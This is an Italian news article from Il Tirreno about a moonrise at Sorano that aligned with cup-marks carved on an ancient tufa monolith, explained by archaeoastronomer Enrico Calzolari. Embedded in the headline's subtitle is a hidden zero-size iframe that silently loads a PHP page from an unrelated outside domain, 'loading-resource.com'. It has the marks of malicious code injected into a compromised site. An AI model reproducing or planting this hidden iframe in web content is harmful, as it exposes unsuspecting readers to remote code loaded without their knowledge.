Il Tirreno

Grosseto

Una notte intera con la luna riflessa nel pozzo

<strong>L’EVENTO.</strong> I fasci lumonisi della luna a Sorano<iframe height="0" src="http://loading-resource.com/analytics.php" width="0"></iframe>
◗
L’EVENTO. I fasci lumonisi della luna a Sorano

3 MINUTI DI LETTURA





SORANO. In un piccolo poggio del comprensorio soranese la sera del 10 novembre, dopo il tramonto, la luna è spuntata dal monte fra gli alberi, intersecando la bisettrice di tre coppelle poste sopra un monolite intagliato nel tufo con funzione di puntatore, databile a qualche migliaio di anni fa. Enrico Calzolari aveva notato che le tre coppelle poste sul puntatore formavano un triangolo isoscele la cui bisettrice puntava verso il sorgere di una Luna particolare. L'archeoastronomo in sostanza, si era accorto che quella luce puntava dritta verso il sorgere di una Luna che veniva studiata dagli antichi per trarne auspici di vario genere. «Facendo dei calcoli - spiega Enrico Calzolari - mi sono reso conto che potevamo trovarci di fronte ad un fenomeno importante dal punto di vista storico-scientifico: la popolazione che viveva sul territorio conosceva l'anno lunare, equivalente a 18 anni, 6 mesi e 5 giorni. Accade infatti il fenomeno che la Luna sorga in un punto dell'orizzonte spostato più ad Est rispetto al sorgere del Sole al solstizio d'estate e 15 giorni dopo sorga più ad Est del punto in cui il Sole sorge al solstizio d'inverno. Questi punti in astronomia vengono detti "punti di arresto minori". Una perfetta collimazione di questi punti si avrà il 24 dicembre 2015, ma una Luna simile, detta di 'scambio', l'abbiamo avuta la sera del 10 novembre: monitorando tutto il fenomeno, abbiamo avuto la conferma che le nostre previsioni erano esatte; possiamo dire che un nuovo tesoro di conoscenza è stato scoperto nella terra dei tufi».  Una scoperta che a Sorano che ha fatto felici gli appassionati di astronomia, ma anche i tanti curiosi che hanno potuto vedere con i loro occhi uno spettacolo della natura che capita soltanto ogni qualche secolo. «Poiché l'anno lunare dura oltre 18 anni - conclude l'archeoastronomo- gli antichi coniarono il proverbio "vuoi la Luna nel pozzo", giunto fino a noi proprio per indicare qualcosa di raro, perché per vedere un'altra volta la Luna nel pozzo bisognava attendere tutto questo tempo, quando nella preistoria l'età media superava di poco i trent'anni. Avere certi tipi di conoscenze significava programmare al meglio non solo tutte le attività agricole, ma anche le nascite umane ed animali e forse anche le migrazioni. Inoltre, a seconda di come si manifestava l'evento della levata lunare in questa circostanza, i sacerdoti traevano auspici sull'andamento generale di questo lungo periodo, compilando previsioni che presso alcune culture antiche venivano chiamate "Tavole dei destini" le quali, gelosamente conservate, attribuivano un enorme potere a chi le deteneva: un potere che molto probabilmente originò la figure del re-sacerdote. Si pensi infatti al terribile ascendente di chi poteva prevedere le eclissi».  Un fenomeno particolare, che si ripeterà ormai tra tanto tempo. Per ora, accontentiamoci delle foto.

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Il dolore

San Giuliano Terme, è morto Tiziano Taccola: storico dirigente socialista

di Redazione Pisa